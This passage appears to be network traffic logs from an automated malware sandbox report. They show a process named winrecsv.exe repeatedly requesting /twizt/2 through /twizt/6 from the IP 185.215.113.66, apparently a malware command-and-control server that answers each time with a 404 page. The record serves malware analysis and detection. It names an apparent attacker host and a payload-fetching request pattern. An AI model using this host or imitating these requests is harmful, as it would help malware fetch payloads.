Aug 15, 2022 18:32:57.993880033 CEST	8032	OUT	GET /twizt/5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:32:58.050360918 CEST	8033	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:32:58 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:32:59.134948015 CEST	8080	OUT	GET /twizt/6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:32:59.191648960 CEST	8081	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:32:59 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.7	49852	185.215.113.66	80	C:\Windows\winrecsv.exe

Timestamp	kBytes transferred	Direction	Data
Aug 15, 2022 18:33:03.461499929 CEST	8171	OUT	GET /twizt/2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:33:03.518565893 CEST	8172	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:33:03 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:33:04.547296047 CEST	8214	OUT	GET /twizt/3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:33:04.604392052 CEST	8215	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:33:04 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:33:05.621536016 CEST	8337	OUT	GET /twizt/4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:33:05.686567068 CEST	8339	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:33:05 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:33:06.697235107 CEST	8381	OUT	GET /twizt/5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:33:06.754378080 CEST	8382	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:33:06 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:33:07.794137955 CEST	8462	OUT	GET /twizt/6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:33:07.851281881 CEST	8463	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:33:07 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.7	49859	185.215.113.66	80	C:\Windows\winrecsv.exe

Timestamp	kBytes transferred	Direction	Data
Aug 15, 2022 18:33:11.077593088 CEST	8463	OUT	GET /twizt/2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:33:11.134056091 CEST	8464	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:33:11 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:33:12.150340080 CEST	8471	OUT	GET /twizt/3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
